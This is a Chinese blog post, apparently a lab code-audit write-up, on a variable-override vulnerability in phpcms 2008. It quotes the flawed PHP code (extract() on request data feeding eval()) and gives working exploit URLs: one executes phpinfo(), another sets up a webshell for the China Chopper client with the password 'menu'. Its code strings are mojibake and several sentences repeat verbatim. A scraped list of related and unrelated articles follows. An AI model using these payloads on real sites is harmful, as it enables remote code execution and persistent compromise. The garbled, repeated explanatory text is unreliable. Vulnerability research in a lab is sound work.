phpcms 2008 变量覆盖漏洞
一、 启动环境
1.双击运行桌面phpstudy.exe软件

2.点击启动按钮,启动服务器环境
二、代码审计
1.双击启动桌面Seay源代码审计系统软件

3.点击新建项目按钮,弹出对画框中选择(C:\phpStudy\WWW\ phpcms 2008),点击确定
漏洞分析
1.点击展开/yp/web/include/common.inc.php
<?php
defined('IN_PHPCMS') or exit('Access Denied');
$userid = $userid ? $userid : intval(QUERY_STRING);
$r = $db->get_one("SELECT * FROM `".DB_PRE."member_company` WHERE `userid`='$userid'");
if($r)
{
extract($r);
}
if(!$userid)
{
$MS['title'] = '浣犺璁块棶鐨勭珯鐐逛笉瀛樺湪';
$MS['description'] = '璇锋牳瀵圭綉鍧€鏄惁姝g‘.';
$MS['urls'][0] = array(
'name'=>'璁块棶缃戠珯棣栭〉',
'url'=>$PHPCMS['siteurl'],
);
$MS['urls'][1] = array(
'name'=>'娉ㄥ唽涓烘湰绔欎細鍛?,
'url'=>$PHPCMS['siteurl'].'member/register.php',
);
msg($MS);
}
程序首先赋值一个userid变量,然后使用赋值完成变量拼接sql语句执行,SQL语句执行完成以后返回数据给userid变量,然后使用赋值完成变量拼接sql语句执行,SQL语句执行完成以后返回数据给userid变量,然后使用赋值完成变量拼接sql语句执行,SQL语句执行完成以后返回数据给r变量数组,如果r变量存在内容,则将变量数组内容加入到当前文件的符号表中。如果r变量存在内容,则将变量数组内容加入到当前文件的符号表中。如果r变量存在内容,则将变量数组内容加入到当前文件的符号表中。如果userid变量内容为false则将显示错误页面内容,但是目前userid并没有找到在哪里获取。2.如果userid并没有找到在哪里获取。
2.如果userid并没有找到在哪里获取。2.如果userid不为false,则接着往下执行
if(empty($tplname)) $tplname = 'default';
//用户选择的默认模板
$companytpl_config = include PHPCMS_ROOT.'templates/'.TPL_NAME.'/yp/companytplnames.php';
$tpl = $companytpl_config[$tplname]['tplname'];
define('TPL', $tpl);
define('WEB_SKIN', 'templates/'.TPL_NAME.'/yp/css/');
if($diy)
{
define('SKIN_DIY', WEB_SKIN.$userid.'_diy.css');
}
else
{
define('SKIN_DIY', WEB_SKIN.$companytpl_config[$tplname]['style']);
}
$menu = string2array($menu);
代码接着进行初始化模板文件,最后将menu变量传输到string2array()函数,目前又来疑问,menu变量传输到string2array()函数,目前又来疑问,menu变量传输到string2array()函数,目前又来疑问,menu变量从何而来?
3.现在需要了解一下string2array()到底什么作用,string2array函数存放在include/global.func.php
function string2array($data)
{
if($data == '') return array();
eval("\$array = $data;");
return $array;
}
看到函数发现,内部有eval敏感函数,并且把传送过去的menu进行执行,现在有这么个假设,如果menu进行执行,现在有这么个假设,如果menu进行执行,现在有这么个假设,如果menu变量可以控制,那么完全进行任意代码执行。
4.目前成立这个假设userid主要是为了去数据库查询内容,然后将返回的内容构成一个数组,使用extract()将数组的内容添加到当前符号表中,从而也就生成userid主要是为了去数据库查询内容,然后将返回的内容构成一个数组,使用extract()将数组的内容添加到当前符号表中,从而也就生成userid主要是为了去数据库查询内容,然后将返回的内容构成一个数组,使用extract()将数组的内容添加到当前符号表中,从而也就生成menu变量,如果能够让数据库返回空,不让他覆盖或者生成新的menu变量,然后在别的位置生成新的menu变量,然后在别的位置生成新的menu变量,然后在别的位置生成新的menu变量,从而执行想执行代码。
5.在include/common.inc.php文件中,会将GET、POST、Cookie转换成变量
if($_REQUEST)
{
if(MAGIC_QUOTES_GPC)
{
$_REQUEST = new_stripslashes($_REQUEST);
if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
extract($db->escape($_REQUEST), EXTR_SKIP);
}
else
{
$_POST = $db->escape($_POST);
$_GET = $db->escape($_GET);
$_COOKIE = $db->escape($_COOKIE);
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_COOKIE,EXTR_SKIP);
}
if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
if($_COOKIE) $db->escape($_COOKIE);
}
所以可以利用这个位置提前生成menu变量和menu变量和menu变量和userid变量,并且把userid内容置位数据库不存在的内容,userid内容置位数据库不存在的内容,userid内容置位数据库不存在的内容,menu变量内容为想要执行的代码。
漏洞利用
1.访问
http://192.168.91.136/phpcms/yp/web/index.php?userid=1234324&menu=phpinfo();exit;

菜刀直接连接
http://192.168.91.136/phpcms/yp/web/index.php?userid=1234324&menu=exit;
//密码 menu
phpcms 2008 变量覆盖漏洞的更多相关文章
- php之变量覆盖漏洞讲解
1.变量没有初始化的问题(1): wooyun连接1:[link href="WooYun: PHPCMS V9 member表内容随意修改漏洞"]tenzy[/link] $up ...
- ctf变量覆盖漏洞:
1.变量覆盖: ①:针对extract函数的变量覆盖漏洞: <?php @error_reporting(E_ALL^E_NOTICE); require('config.php'); if($ ...
- PHP代码审计笔记--变量覆盖漏洞
变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击. 经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数, ...
- 变量覆盖漏洞学习及在webshell中的运用
一.发生条件: 函数使用不当($$.extract().parse_str().import_request_variables()等) 开启全局变量 二.基础了解: 1.$$定义 $$代表可变变量, ...
- 7. 由一道ctf学习变量覆盖漏洞
0×00 背景 近期在研究学习变量覆盖漏洞的问题,于是就把之前学习的和近期看到的CTF题目中有关变量覆盖的题目结合下进一步研究. 通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞.经常导 ...
- Web安全之变量覆盖漏洞
通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞.经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_reques ...
- 代码审计-MetInfo CMS变量覆盖漏洞
0x01 代码分析 安装好后是这样的 漏洞文件地址\include\common.inc.php 首先是在这个文件发现存在变量覆盖的漏洞 foreach(array('_COOKIE', '_POST ...
- CTF——代码审计之变量覆盖漏洞writeup【2】
题目: 基础: 所需基础知识见变量覆盖漏洞[1] 分析: 现在的$a=’hi’,而下面的函数需满足$a=’jaivy’才可以输出flag,那么需要做的事就是想办法覆盖掉$a原来的值. 那么出现的提示 ...
- 2020/2/1 PHP代码审计之变量覆盖漏洞
0x00 变量覆盖简介 变量覆盖是指变量未被初始化,我们自定义的参数值可以替换程序原有的变量值. 0x01 漏洞危害 通常结合程序的其他漏洞实现完整的攻击,比如文件上传页面,覆盖掉原来白名单的列表,导 ...
随机推荐
- async异步流程控制
http://cnodejs.org/topic/54acfbb5ce87bace2444cbfb 先安装:G:\www\nodejs\one\models>npm install async ...
- 《PHP程序员面试笔试宝典》——如何回答算法设计问题?
如何巧妙地回答面试官的问题? 本文摘自<PHP程序员面试笔试宝典> 程序员面试中的很多算法设计问题,都是历年来各家企业的"炒现饭",不管求职者以前对算法知识掌握得是否扎 ...
- 使用并发 ssh 连接来提升捞日志脚本执行效率
问题背景 公司有个简单粗暴的日志服务,它部署在多台机器实例上,收集的日志记录在每台机器本地硬盘,写一个小时自动切换日志文件,硬盘空间写满了自动回卷,大约可以保存两三天的历史数据.为什么说它粗暴呢?原来 ...
- mysql 事务 隔离性 锁
1.四大特性 1.1 原子性(Atomicity) 一个事务是不可分割的最小工作单位.一个事务是不可分割的最小工作单位. 利用undo log保证原子性,undo log记录的是操作的反向语句,例如执 ...
- DDD与数据事务脚本
DDD与数据事务脚本 扯淡 相信点进来看这篇文章的同学,大部分是因为标题里面的"DDD"所吸引!DDD并不是一个新技术,如果你百度一下它的历史就会知道,实际上它诞生于2004年, ...
- java运行原理、静态代理和动态代理区分
1.java的编译和运行原理: ■ 编译:将源文件 .java 文件,通过编译器(javac 命令) 编译成 字节码文件 .class 文件. ■ 运行,通过类加载器(以二进制流形式)把字节码加载进J ...
- 盘点Go中的开发神器
本文已收录 https://github.com/lkxiaolou/lkxiaolou 欢迎star. 在Java中,我们用Junit做单元测试,用JMH做性能基准测试(benchmark),用as ...
- RFC2899广播帧转发测试——网络测试仪实操
一.简介 RFC 2889为LAN交换设备的基准测试提供了方法学,它将RFC 2544中为网络互联设备基准测试所定义的方法学扩展到了交换设备,提供了交换机转发性能(Forwarding Perform ...
- HDFS的优缺点
HDFS是一个分布式文件存储系统,前身来自于Google发布的大数据三驾马车之一GFS (Google File System). HDFS的优点: 1.高容错 hdfs具有很高的容错性,数据自动保存 ...
- kibana操作记录
GET _search { "query": { "match_all": {} } } GET _cat/nodes GET _cat/health GET ...